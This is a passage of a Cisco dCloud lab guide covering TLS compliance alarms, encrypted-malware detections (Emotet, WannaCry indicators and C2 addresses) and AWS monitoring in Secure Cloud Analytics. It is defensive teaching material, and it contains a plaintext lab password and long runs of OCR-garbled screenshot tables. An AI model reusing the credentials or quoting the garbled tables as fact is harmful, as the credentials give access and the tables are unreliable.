| Appliance                           | Packet Rate              |                     |
| Application                         | Protocol                 |                     |
| Application (Flow Sensor)           | TCP Connections          |                     |
| Application (NBAR)                  | TCP Retransmissions      |                     |
| Application (PacketShaper)          | TCP Retransmission Ratio |                     |
| Application (Palo Alto Networks)    | ✓ Total Bytes            |                     |
| Byte Rate                           | RTT Average              |                     |
| Encryption TLS/SSL Version          | RTT Maximum              |                     |
| Encryption Key Exchange             | RTT Minimum              |                     |
| Encryption Authentication Algorithm | SRT Average              |                     |
| Encryption Algorithm and Key Length | SRT Maximum              |                     |
| Encryption MAC                      | SRT Minimum              |                     |

You should see results similar to below showing the connection you made to a compliance server running a weak TLS version.

| •••                             | 🍠 ETA Cryptog  | raphic Audit   Stea | × 🌀 Flow Search Results     | Stealthw × +        |                        |                |                         |                 |                |                  |              |                  |           |
|---------------------------------|--|---------------------|-----------------------------|---------------------|------------------------|----------------|-------------------------|-----------------|----------------|------------------|--------------|------------------|-----------|
| $\leftrightarrow$ $\rightarrow$ | C A Not Se   | cure   https://19   | 8.19.20.136/lc-landing-page | e/smc.html#/flowAna | alysis/results/        | 5d4c69e360b240 | )26b45cd75d/5d          | 14c69e360b24026 | b45cd75e       |                  |              | * 0              | 🕘 🗄       |
| alialia<br>cisco                | Stealth  | watch               |                             | Dashboards          | Monitor                | Analyze        | Jobs C                  | onfigure De     | ploy           |                  | 9            | Deskto           | op Client |
| Flow                            | Search Res   | sults (2)           |                             |                     |                        |                |                         |                 |                |                  |              |                  |           |
| Edit                            | Edit Search       08/07/2019 12:22 PM - 08/08/2019 12:27 PM (Time Ra       2.000 (Max Records)       Save Search       Save Results       Start New Search         Subject:       Protected Asset Monitoring (Host Groups)       Server (Orientation)       Server (Orientation)       100% Complete       Delete Search         Connection:       All (Flow Direction)       SHA (Encryption Key Exchange)       RSA (Encryption Authentication Algorithm)         AES_256_CBC (Encryption Algorithm)       256 (Encryption TLS/SSL Version)       TLS 1.0 (Encryption TLS/SSL Version) |                     |                             |                     |                        |                |                         |                 |                |                  |              |                  |           |
| 0                               |  |                     |                             |                     |                        |                |                         |                 | Manage Columns | Summary          | Export V     | More 🗸 🛛 🤅       |           |
|                                 | START  | DURATION            | SUBJECT IP A SUB            | JECT PO SUB         | JECT HO                | UBJECT BYT     | APPLICATION             | TOTAL BYTES     | ENCRYPTION .   | PEER IP ADDR     | PEER PORT/P  | PEER HOST G      | PEER I    |
|                                 | 📕 Ex. 06/09/2  | Ex. <=50min4        | Ex. 10.10.10.1 Ex.          | 57100/UD. Ex.       | "catch All"            | Ex. <=50M      | Ex. "Corporate          | Ex. <=50M       | Ex. 1.0        | Ex. 10.255.25:   | Ex. 2055/UDP | Ex. "Catch All'  | Ex. <:    |
| •                               | Aug 8, 2019<br>12:11:08 PM<br>(18min 3s ago)   | 4min 51s            | 198.19.20.134 💮 443,        | /TCP Prote<br>Moni  | ected Asset<br>itoring | 9.79 K         | HTTPS<br>(unclassified) | 41.68 K         | TLS 1.0        | 198.19.30.36 💮   | 45116/TCP    | Unknown          | 11.89     |
| ×                               | Aug 8, 2019<br>12:06:30 PM<br>(22min 41s ago)  | 1min 29s            | 198.19.20.134 💮 443,        | /TCP Prote<br>Moni  | ected Asset<br>itoring | .96 K          | HTTPS<br>(unclassified) | 14.06 K         | TLS 1.0        | 10.16.79.74 💮    | 58871/TCP    | End User Devices | 4.11 K    |
| 5                               | D 💠 items per  | page                |                             |                     |                        |                |                         |                 |                | 1 - 2 of 2 items | К < 1        | /1 >             | ж         |

## Alarming on Unauthorized Encryption

Alarms may be setup to detect unauthorized traffic such as host running weaker versions of encryption. Let's create a rule to alarm on servers run out of compliance encryptions. This can be replicated on any SMC running v7.0 or greater and is collecting ETA enriched NetFlow.

- 1. Navigate to **Configure > Policy Management** within the SMC.
- 2. Select Create New Policy > Custom Security Event as illustrated below

| 🐨 ETA Cryptographic Audit   Stealth 🗙 🖅 Policy Management     | × +   |                             |            | - 0                   |
|---|---|-----------------------------|------------|-----------------------|
| ← → C ☆ 🔒 198.19.20.136/lc-landing-page/smc.html#/policy      | management                                      |                             |            | ० 🖈 😫 🛊 \varTheta     |
| 👯 Apps 📙 Appliances 📙 Stealthwatch API 📒 SWC 📙 Splunk 🧐       | ISE 🧾 Test Sites 🛭 🔬 Tor Project 👑 Cognitive Th | reat An 🔘 Talos Blog        |            |                       |
| cisco Stealthwatch deloud - Das                               | hboards + Monitor + Analyze + Jobs +            | Configure - Deploy -        |            | ् 🛓 🔅 🛨               |
| Policy Management   | 1   | Policy Management<br>Alarms |            |                       |
| Search for a heat or called a heat aroun                      |   | Host Group Management       |            |                       |
|   |   | Network Classification      |            |                       |
|   |   | Services                    |            |                       |
| Custom Events (6) Relationship Events (412) Core Events (481) |   | Applications                |            | Create New Policy V   |
|   |   | Response Management         | 2          | Custom Security Event |
|   |   | Domain Properties           |            | Relationship Policy   |
| Event Description   | Date Modified Subject                           | Flow Collectors             | Status     | Role Policy           |
| Ex. Data Event Ex. Data Center                                | Ex. 01/28/2018 12:00 PM Ex. Inside Hos          | Exporters                   | sts Ex. On | Single Host Policy    |
|   |   | Choice                      | ]          |                       |

3. Create a rule to match exactly as illustrated in the image below and make sure the status is set to **On**. The rule is looking for any traffic where an internal server is running https running TLS 1.0 and there are at least 3 packets seen on both sides of the communication. The packet counts allow for looking for bidirectional flows only. After reviewing the rule select the **Save** button.

| Policy Management   Custom Security Event   |  | Cancel                                   |
|---|--|--|
|   |  | Actions ~                                |
| NAME *  | DESCRIPTION  | STATUS                                   |
| .CSE: Weak Encryption   | Detect Inside servers running weak encryption TLS 1.0                              |  |
|   |  |  |
| When any host within <i>Inside Hosts</i> , acting as a <i>serve</i> , <i>TLS 1.0 encryption</i> , an alarm is raised. | r, using HTTPS or HTTPS (unclassified); with >3 packets communicates with any peer | <i>host</i> ; with >3 packets; using     |
| FIND  |  | ACTIONS                                  |
| SUBJECT HOST GROUPS 🕕 Inside Hosts ×  | (S) AND  | Alarm when a single<br>flow matches this |
| SUBJECT APPLICATIONS  | ⊗ AND  | event.                                   |
| SUBJECT PACKETS   | © AND  |  |
| SUBJECT ORIENTATION Server  | ✓ ⊗ AND  |  |
| PEER PACKETS  | ⊗ AND  |  |
| ENCRYPTION TLS/SSL TLS 1.0 ×  | 8  |  |

To show how the rule will detect unauthorized encryption, let's look at the server that was connected to <u>https://compliance-server</u> in the above lab.

- 4. Type 198.19.20.134 in the search dialogue (magnifying glass) in the top right of the SMC web interface which is what complianceserver resolves to in the lab.
- 5. Click the hyperlink of 198.19.20.134 as illustrated below to open the host report.

| Stealthwatch                     | Dashboards                | Monitor Ana       | alyze Jobs      | Configure | Deploy |       |        |      |             | Desktop Clie | int |
|----------------------------------|---------------------------|-------------------|-----------------|-----------|--------|-------|--------|------|-------------|--------------|-----|
| Inside Hosts : 198.19.20.134 (1) |                           |                   |                 |           |        |       |        |      | 198.19.20.1 | 34           |     |
| Current Filters                  | Host                      |                   |                 |           |        |       |        |      |             |              |     |
| No Filters Selected              | Sorted by overall severit | ty 🔘              |                 |           |        |       |        |      |             |              |     |
| Clear All                        | Host Address              | Host Name         | Last Active     | ¢ ci      | \$ ті  | \$ RC | \$ C&C | ‡ EP | ‡ ds        | ‡ DT         | ;   |
| Filter Results By:               | 198.19.20.134             | cds.dcloud.local. | 8/22/19 7:44 AM | 1         |        |       |        |      |             |              |     |
| ·                                | First Previous 1          | Next Last         |                 |           |        |       |        |      |             |              |     |

 Scroll down in the host report to the Top Security Events section and select the Target option as illustrated below. This should reflect the event that generated when you browsed to <u>https://compliance-server</u> in the previous task. These rules may be setup to meet your organization compliance needs for quick detection of unauthorized traffic.

| Host Summary     |                                       | Traffic by Peer Host Grou | p (last 12 hours) | 2         | Alarms by Type (last 7 days)  | 12         |
|------------------|---------------------------------------|---------------------------|-------------------|-----------|---|------------|
|                  | <sup>Host IP</sup><br>198.19.20.134 ⊖ |                           |                   |           | Alarms by Type  |            |
| Flows            | Classify History                      | -                         |                   |           | 7.5   |            |
| Status:          |                                       | File Serve                | Unknown           | •         | CONT  |            |
| Hostname:        | cds.dcloud.local                      | End User D 198.19         | 9.20.134          |           | tent s  |            |
| Host Groups:     | Protected Asset Monitoring            |                           |                   |           | w later   |            |
| Location:        | Unknown                               |                           |                   |           | 2.5 2   |            |
| First Seen:      | 1/9/19 11:19 AM                       |                           |                   |           | <u> </u>  | 1          |
| Last Seen:       | 8/22/19 7:49 AM                       |                           |                   |           | 0 0 0 0 0   | 1 8/22     |
| Policies:        | Inside                                |                           |                   |           | 0/10 0/17 0/10 0/19 0/20 0/2  | 0/22       |
| MAC Address:     |                                       |                           |                   |           | <ul> <li>.CSE: Unauthorized DNS Traffic</li> <li>.CSE: Weak En</li> <li>Policy Violation</li> </ul> | cryption   |
| ISE ANC Policy:  | Edit                                  |                           |                   |           | Deselect All  | Select All |
| Top Security Eve | ents for 198.19.20.134                |                           |                   |           | Source (0)  | irget (1)  |
| SECURITY EVE     | NT COUNT                              | TARGET INDEX Y            | IRST ACTIVE       | SOURCE    | E HOST SOURCE HOST GROUP  | ACTIONS    |
| .CSE: Weak End   | cryption - 443 1                      | 0 0                       | 8/22 7:25:05 AM   | 198.19.30 | 30.36 😳 File Servers  | Θ          |

### Task 4: Encrypted Malware Detection

For this section, you will log in to a separate lab environment that has been running for a period of time long enough to allow for full machine learning for effective threat detection.

#### Before proceeding, please navigate to:

https://www.cisco.com/c/en/us/products/security/stealthwatch/demos.html and log in with your cisco.com account if prompted. Navigate to: Instant Demo: Secure Network Analytics and follow the directions to view the instant demo.



Secure Network Analytics can be extended by enabling the cloud based Cognitive Threat Analytics (CTA). CTA uses Secure Network Analytics connection data that could include ETA metadata to identify encrypted threats. When first enabled, Secure Network Analytics users should be able to access CTA findings with 24-48 hours to allow for a good baseline and machine learning to take effect. To access Cognitive Threat Analytics, open the Secure Network Analytics Management Console (SMC) Web User Interface (UI) and locate the Cognitive Threat Analytics widget in the Security Insight Dashboard.

**Note:** If you have a Cisco AMP account that is also using Cognitive Threat Analytics you can request that your account be merged so that detections can be examined using data from either AMP or Secure Network Analytics. This allows for investigations from connection data all the way to files on a specific host.



#### Lab Guide

Cisco dCloud

#### For threat information, click an alarming host.

| Cognitive Intelligence -                            |                               |  |   |                                   |  |  |  |  |  |  |
|---|-------------------------------|--|---|-----------------------------------|--|--|--|--|--|--|
| Critical Risk<br>1 alert                            |                               | High Risk<br><b>1 alert</b>                              | Medium Risk<br><b>0 alerts</b>                            | Low Risk<br>0 alerts              |  |  |  |  |  |  |
| Critical Risk<br>Threats:<br>Host Groups:<br>IP Add | When: M<br>View I<br>10.201.3 | larch 26th - May<br>lost report for 10.2<br>3. <u>51</u> | 21st Duration: 56 days<br>201.3.51<br>Devices [2], Atlant | View details ت<br>a تر Desktops ت |  |  |  |  |  |  |

The Host Report displays with the following widgets:

- Host Summary
- Traffic by Peer Host Group

| Host Summary    |  | Traffic by Peer Host Group (last 12 hours) | 2           |
|-----------------|--|--|-------------|
|                 | Host IP  |  |             |
|                 | 10.201.3.51  |  | United Sta  |
|                 |  | Datacenter                                 |             |
|                 | Flows Classify History                                   | Terminal S                                 | Switzerlan  |
| Status          |  | • DMZ Server 10.201.3.51                   | Limelight • |
|                 |  | Domain Con                                 | Netherland  |
| Hostname:       |  | DNS Server                                 | Google      |
| Host Groups:    | End User Devices, Desktops, Atlanta, Sales and Marketing | Catch All                                  | Canada      |
| Location:       | RFC 1918   | DHCP Serve                                 | Germany     |
| First Seen:     | 10/9/20 4:20 PM  | Broadcast                                  | Window's U● |
| Last Seen:      | 5/21/21 9:23 PM  | Others (In                                 | Others (Ou  |
| Policies:       | Client IP Policy,Inside                                  |  |             |
| MAC Address:    | 08:00:27:8f:61:b8 (PCS Systemtechnik GmbH)               |  |             |
| ISE ANC Policy: | Edit   |  |             |

If the network includes integration with Cisco Identity Service Engine (ISE), you will see the following widgets along with Cognitive Intelligence Analytics:

- Users and Sessions
- Application Traffic

| Users & Sessions                  |                                       |   | Application Traffic  |           |       |          |       |          |             | Internal External | Ī |
|-----------------------------------|---------------------------------------|---|----------------------|-----------|-------|----------|-------|----------|-------------|-------------------|---|
| MAC Address:<br>08:00:27:8f:61:b8 | MAC Vendor: PCS<br>Systemtechnik GmbH | Device Type: unknown                                    | Application          | Total     | %     | Sent     | Ratio | Received | 7-day Trend | 24-hour Trend     |   |
| User<br>dusti                     |                                       | Date / Time<br>Start: 5/21/21 9:20 PM<br>End: ★ Current | Undefined TCP        | 309.09 MB | 79.00 | 118.6 MB |       | 190.5 MB |             |                   |   |
| dusti                             |                                       | Start: 5/21/21 9:07 PM<br>End: 5/21/21 9:15 PM          |                      |           |       |          |       |          | -           |                   |   |
| dusti                             |                                       | Start: 5/21/21 8:18 PM<br>End: 5/21/21 8:23 PM          | HTTPS (unclassified) | 53.81 MB  | 14.00 | 20.67 MB |       | 33.14 MB |             |                   |   |
| dusti                             |                                       | Start: 5/21/21 8:09 PM<br>End: 5/21/21 8:18 PM          |                      |           |       |          |       |          |             |                   |   |
| dusti                             |                                       | Start: 5/21/21 8:00 PM<br>End: 5/21/21 8:09 PM          | Undefined UDP        | 8.23 MB   | 2.00  | 8.23 MB  |       | 619 B    |             |                   |   |

To see this threat in the Global Threat Analytics Dashboard, click the **ellipses** then click **Open in Cognitive Intelligence**.



# The Global Threat Analytics Dashboard displays the threat details, including the complete story of how it went from "detected" to "confirmed."

| Threat indicators<br>(SMB) (T1018), e<br>Threat will attemp<br>backdoor, to acce<br>Category: Malwar | related to a variant of<br>xploiting the ETERNA<br>to contact a specifi<br>ess and execute code<br>re - ransomware         | f WannaCry (S0<br>LBLUE SMB vul<br>ic host on the in<br>a on previously of | (366) or WCry,<br>Inerability (MS<br>Internet, if the c<br>compromised | a ransomware<br>17-010) (T1210<br>onnection is suc<br>systems. | with worm cap<br>i). After compr<br>ccessful, the th | pabilities which h<br>promising the end<br>threat will stop its | has observed in<br>lpoint, the malway<br>s execution. Thre | arge scale attack a<br>are will encrypt the<br>rat can also leverag | across the world<br>files on the hos<br>ge another vulne | WannaCry spre<br>demanding a ra<br>rability known as | ads as a worm throu<br>ansom in order regai<br>a DOUBLEPULSAR, a | ngh TCP port 445<br>n access (T1486).<br>persistent |
|--|--|--|--|--|--|---|--|---|--|--|--|---|
|  |  |  |  |  |  |   |  |   |  |  |  | Threat Detail                                       |
| Emotet   |  |  |  |  |  |   |  |   |  | Confirme   | ed Severity: Critica   | Confidence: Hig                                     |
| Emotet (S0367) is  | s a banking trojan tha   | t has remained   | relevant due to  | o its continual e  | volution to bet                                      | tter avoid detecti  | ion. It is commo   | nly spread via mali   | cious emails.  |  |  |   |
| Category: Malwar   | re - bot   |  |  |  |  |   |  |   |  |  |  |   |
|  |  |  |  |  |  |   |  |   |  |  |  | Threat Dotail                                       |
|  |  |  |  |  |  |   |  |   |  |  |  | Theat Detail  |
|  |  |  |  |  |  |   |  |   |  |  |  | Theat Detail  |
| Affected Asset   | S  |  |  |  |  |   |  |   |  |  |  | Threat Octob  |
| Affected Asset   | S<br>dusti   |  |  |  |  |   |  |   |  |  |  | R   |
| Affected Asset   | S<br>dusti<br>10.201.3.51 💟  |  |  |  |  |   |  |   |  |  |  |   |
| Affected Asset<br>User:<br>IP Addresses:<br>Asset Groups:  | S<br>dusti<br>10.201.3.51 ()<br>Atlanta, Desktops,   | Sales and Mark   | eting, End Use   | r Devices  |  |   |  |   |  |  |  | E COLOR   |
| Affected Asset<br>User:<br>IP Addresses:<br>Asset Groups:<br>From:                                   | S<br>dusti<br>10.201.3.51<br>Atlanta, Desktops,<br>2021-03-26 01:04  | Sales and Mark   | eting, End Use   | r Devices  |  |   |  |   |  |  |  | E   |
| Affected Asset<br>User:<br>IP Addresses:<br>Asset Groups:<br>From:<br>To:                            | S<br>dusti<br>10.201.3.51 V<br>Atlanta, Desktops,<br>2021-03-26 01:04<br>2021-05-20 22:29                                  | Sales and Mark<br>:59 EDT<br>:10 EDT                                       | eting, End Use   | r Devices  |  |   |  |   |  |  |  | e   |
| Affected Asset<br>User:<br>IP Addresses:<br>Asset Groups:<br>From:<br>To:<br>Security Events:        | dusti<br>10.201.3.51 V<br>Atlanta, Desktops,<br>2021-03-26 01:04<br>2021-05-20 22:29<br>Communication                      | Sales and Mark<br>:59 EDT<br>:10 EDT<br>with hostname:                     | eting, End Use   | r Devices  | 5.211.77   | known to be indi  | cative of Emoted   |   |  |  |  | 11/01/04/04   |
| Affected Asset<br>User:<br>IP Addresses:<br>Asset Groups:<br>From:<br>To:<br>Security Events:        | dusti<br>10.201.3.51 ♥<br>Atlanta, Desktops,<br>2021-03-26 01:04<br>2021-05-20 22:29<br>© Communication<br>© Communication | Sales and Mark<br>:59 EDT<br>:10 EDT<br>with hostname:<br>with hostname:   | eting, End Use<br>s 201.213.32.5<br>s www.iugerfs                      | r Devices  | 5.211.77 ()<br>gosurijfae [\                         | known to be indii   | cative of Emotet   | fihgosurijfae (V  | known to be ind  | icative of Wanna                                     | ιCry   | 1   |

#### Select Asset Detail for added details of affected systems.

| Security Events 🗹 Critical 🗹 High 🗹 Medium 🖉 L   | ow   |                          |                                 |
|--|--|--------------------------|---------------------------------|
| Security event   | Domain 🗸   | Server IP address        | Autonomous system 🗸             |
|  | eg. domain1.com  | eg. 1.2.3.4              | eg. *Amazon.com, Inc.*          |
| Emotet<br>Infection with exfitration capability that targets banking<br>credentials  |  | • = 201 213 32 59        |                                 |
| Communication with hostnames 201.213.32.59 V and   | • 201.213.32.59  | • <b>2</b> 201.213.32.59 | Prima S.A.<br>AS10481           |
| 77.55.211.77 	V known to be indicative of Emotet   | • 77.55.211.77   | • 77.55.211.77           | • Nazwa.pl Sp.z.o.o.            |
| WannaCry<br>Disk encrypting malware contains worm-like features to<br>spread itself using the SMBv1 exploit EternalBlue      |  |                          |                                 |
| Communication with hostnames   | iuqerfsodp9ifjaposdfjhgosuri 💟   | • 70.32.1.32             | GigeNET V<br>AS32181            |
| www.lugerfsodp9lfgposdffggosurjflee (>) and<br>www.lugerfsodp9lfgposdffggosurjflee (>) known to be<br>indicative of WannaCry | Iuqerfsodp9iŋaposdŋngosuri ♥     Iuqerfsodp9iŋaposdŋngosuri ♥     Iuqerfsodp9iŋaposdŋngosuri ♥ | • 103.224.182.251        | • Trellian Pty. Limited S133618 |
| Known malicious hostnames from local passive DNS     inference   | iuqerfsodp9ifta  | • 170.178.168.203        |                                 |

Take a few minutes to explore through the pages to learn about the threat detections.



## Summary

In this, lab you learned:

- How to enable Encrypted Traffic Analytics
- How to verify Encrypted Traffic Analytics
- How to use the Crypto Audit Report to detect policy violations
- How to detect malware within encrypted traffic



## Lab 11. Public cloud monitoring and threat protection

Many organizations are hosting part of their application infrastructure within public clouds. Gartner says infrastructure as a service (IaaS) has grown 31.3% in 2018. As businesses continue to move to the cloud, they must protect customer data and intellectual property for compliance and threat detection.

Watch the supporting lab video overview here > <u>https://cs.co/SWTestDrive-Lab11</u>.

## **Test Drive Objectives**

Secure Cloud Analytics (formerly called Stealthwatch Cloud) is a SaaS visibility and threat detection service that can monitor public cloud infrastructure hosted in AWS, Azure, and Google Cloud for compliance and threat detection. Secure Cloud is integrated with Secure Network Analytics Enterprise via an API.

In this lab, we are going to examine an AWS account via Secure Cloud Analytics. In addition to network telemetry, referred to as VPC flow logs, Secure Cloud Analytics can retrieve additional context and behavior information for the Amazon Web Services from sources like CloudTrail and IAM (Identity and Access Management) as well as their available API. The diagram below highlights the Secure Cloud Analytics integrations.

## **Test Drive Requirements**

• A Secure Cloud Analytics portal monitoring AWS or other cloud hosted infrastructure

## **Test Drive Outline**

Task 1: AWS Account Review Task 2: AWS Breach Lab Task 3: Using the Secure Cloud Analytics user interface

### Task 1: AWS

# Amazon Web Services Architecture



For reference, the AWS account has multiple VPCs. We will be looking at the VPC named Cisco Test Drive.

- 1. Launch **Chrome** from the desktop of your Wkst1, as shown below.
- 2. Select the SWC dCloud Portal bookmark from the SWC folder of the bookmark toolbar as illustrated below.

| 🗐 Host Report 🗙 🐝  | SWC:Dashboard   Cisco               | ×       | +                                 |                  |                       |              |
|--|-------------------------------------|---------|-----------------------------------|------------------|-----------------------|--------------|
| $\leftrightarrow$ $\rightarrow$ C $\triangle$ $\stackrel{\circ}{\bullet}$ cisco-dcloud.obs | vbl.com/v2/#/dashboard              |         |                                   |                  |                       |              |
| 👖 Apps 📙 Appliances 📙 Stealthwatch /   | PI 📙 SWC 📙 Splunk                   | 🍥 ISE   | 📙 Test Sites                      | 🥉 Tor Project    | 👑 Cognitive Threat An | 🔘 Talos Blog |
| cisco Stealthwatch Cloud   | AWS Web Server     SWC dCloud Ports | al stig | jate ∽ Rej                        | port 🗸 Se        | ttings 🗸              |              |
| Dashboard  |                                     | https:/ | Cloud Portal<br>Veisco-deloud.obs | rvbl.com/v2/#/da | shboard               |              |

3. Select Login via cisco-dcloud and enter username test drive and password C1sco12345!

| ← → C 介 🔒 cisco-dcloud.obsrvbl.com/accounts/login/             | eisco-dcloud.obsrvbl.com/accounts/login/  |             |
|--|---|-------------|
| Stealthwatch Cloud   | citation Stealthwatch Cloud   | $\times$    |
|  | Oraco Stealthwatch Cloud is now enabled with Co-     Username or Email Address     testdrive                      |             |
| Cisco Stealthwatch Cloud is now enabled with Cisco Secure Sign | Password  |             |
| Login via Cisco Secure Sign-On                                 | Forgot Password?<br>Sign in<br>Login attempts from your IP address will be blocked for one hour after three faile | d attempts. |
| Login via cisco-dcloud   | Login via Cisco Secure Sign-On<br>Login via cisco-dcloud  |             |

4. When in the cloud UI, we will look more closely at the AWS network. Briefly scroll through and review the components within the default Dashboard:



- Alerts Overview List of open alerts that can be investigated.
- Daily Traffic Visualization of session traffic flow.
- Devices Could of daily internal and external endpoints observed.
- Encrypted Traffic Visual of the volume of encrypted traffic inbound and outbound.
- Top Devices Top devices exchanging data.
- Top DNS Devices Top devices exchanging DNS traffic.
- Top High Risk Countries Traffic flow to countries you may not do business with.
- Observations Counts of observations of behavioral change.



5. Start by selecting Investigate and Active Roles from the drop down menu. Select the plus (+) sign next to Web Server. You should see a list like below.

| cisco Stealthwate | h Cloud Monitor ~  | Investigate 🗸   | Report $\checkmark$ | Settings $\checkmark$ |   |                      | Q LL           | 🧢 🔺 🖉 🗸 |
|-------------------|--|---|---------------------|-----------------------|---|----------------------|----------------|---------|
| Roles Roles       | Cloud Monitor<br>Roles<br>Roles<br>Active F<br>+ Arr<br>+ AW<br>+ Data | Investigate<br>Session Traffic<br>External Services<br>Device<br>By IP Address<br>Encrypted Traffic<br>User Activity<br>Active Roles<br>S Auto Scaling Group<br>S ElastiCache Node<br>S Elastic Load Balanc<br>S NAT Gateway<br>S RDS Instance<br>S Resource<br>re Virtual Machine<br>co AMP Client<br>abase Server | Report V            | Settings >            | Matching Sources           ∞         I-0e50f2fa981d8a6cf           ∞         I-0232d970396ff86a           ☆         20 ∨           Per Page | )<br>1<br>1-2 of 2 1 | Q ⊮<br>sults < |         |
|                   | + GCI  | P Compute Instance  |                     | 4                     |   |                      |                |         |
|                   | + Ren  | note Desktop Server   |                     | 5                     |   |                      |                |         |
|                   | + Terr   | minal Server<br>b Server  |                     | 1                     |   |                      |                |         |

4. Secure Cloud Analytics uses both APIs, as well as network telemetry to determine the types of endpoints, we call these "Roles". Roles are automatically learned such as "AWS RDS Instances" and "Database Servers". An endpoint can have multiple roles such as a Web Server that is also serving SSH sessions. Hovering over the (\*) will provide more context about the endpoint.



 Next, we will look more closely at some other data that AWS provides and how Secure Cloud Analytics makes use of it. Select Report and AWS Visualizations as illustrated in the figure below. Expand us-east-2, Cisco Test Drive, and then 172.31.20.0/24, 172.31.10.0/24, and 172.31.200.0/24 like the image below.

## ululu cisco

## Lab Guide

### Cisco dCloud

| cisco | Stealthwatch Cloud  | Monitor 🗸  | Investigate 🗸                     | Report 🗸 Settings 🗸  | Q 🚯 🌲 🙆 🥹              |
|-------|---|--|-----------------------------------|--|------------------------|
| A     | 0 Read-Only Mode read-only a<br>WS Visualizations<br>CloudTrail Network Graph   | Security Groups                                    | part of the site, b<br>IAM Inspec | AWS Visualizations<br>Metering Report<br>Monthly Flows Report<br>Subnet Report<br>Traffic Summary<br>Visibility Assessment |                        |
| EX    | <ul> <li>Mouse over nodes for additic</li> <li>Click on nodes to explore yoi</li> <li>Click and drag to scroll the g</li> <li>Filter by tag using the form b</li> </ul> | onal information.<br>ur network.<br>raph.<br>elow. |                                   |  | C Update AWS Resources |
|       | Account<br>Region<br>UVC<br>Subart<br>Resource<br>- Connection<br>- Reject  |  | 172.<br>uu-east-1 +               | 172 31 300 0/24 +<br>172 31 100 0/24 +<br>172 31 30 0/24 +<br>172 31 30 0/24 +<br>172 31 30 0/24 +                         | Export to SVG          |

- 6. If you hover over the instance ID, you will see the name given to it. The solid lines (you will need to zoom in) indicate that we have traffic between the devices/networks.
- 7. Next, select the Security Groups tab. AWS creates a default security group in each region. We will focus on us-east-2. A security group is like a firewall rule, permitting defined traffic and denying everything else. By default, the outbound rule is allow all. In the screenshot, we can see a WebServers security group allowing port 80 from everywhere and another one labeled Overly-Permissive that is allowing any port on any IP.

| AWS Visualizations   |
|--|
| CloudTrail Network Graph Security Groups IAM Inspector   |
| <ul> <li>Explore your AWS security groups.</li> <li>Mouse over nodes for additional information.</li> <li>Click on security group nodes to expand or collapse routes.</li> <li>Click and drag to scroll the graph.</li> </ul>  |
| <pre>eccure<br/>Begin<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Processing<br/>Proc</pre> |
| K III Home   |

8. Scroll down to see all the security groups defined for this account, what they are allowing, and how much traffic has been observed. This can used to verify or audit security groups.

#### Traffic

Bytes transferred via security group routes over the selected time range.

Note: Traffic and connection data depend on this service being configured to collect data relevant to each security group. Zeroes in either column may not reflect the true usage of the security group if the traffic associated with it is not monitored.

| Q filters from 20 | 020-12-07 10:44 to 2020-12-07 16:44                        |                      |                   |          |                | $\pm$      |
|-------------------|--|----------------------|-------------------|----------|----------------|------------|
| 10 reco           | rds per page   |                      |                   |          |                |            |
| Account \$        | Name *   | Identifier \$        | CIDR \$           | Ports \$ | Connections \$ | Traffic \$ |
| 220184940040      | Bastion Host   | sg-0992f64839ce09042 | 0.0.0.0/0         | 22, 3389 | 2865           | 39 MB      |
| 220184940040      | Bastion Host   | sg-0992f64839ce09042 | 10.0.0.5/32       | 3389     | 0              | 0 B        |
| 220184940040      | Bastion Host   | sg-0992f64839ce09042 | 40.71.103.46/32   | 3389     | 0              | 0 B        |
| 220184940040      | CentOS 7 -x86_64 with Updates HVM-1901_01-AutogenByAWSMP-  | sg-0b6db41cc28ee406c | 0.0.0.0/0         | 22       | 0              | 0 B        |
| 220184940040      | CentOS 7 -x86_64 with Updates HVM-1901_01-AutogenByAWSMP-1 | sg-0d2bd8cd0cdbfb2fd | 0.0.0.0/0         | 22       | 0              | 0 B        |
| 220184940040      | Database_Servers   | sg-0b9da8fd5dff128b9 | 24.126.243.153/32 | 3306     | 0              | 0 B        |
| 220184940040      | Jumpbox-Security-Group                                     | sg-0a47a5f312c45dbbf | 0.0.0.0/0         | 3389     | 0              | 0 B        |
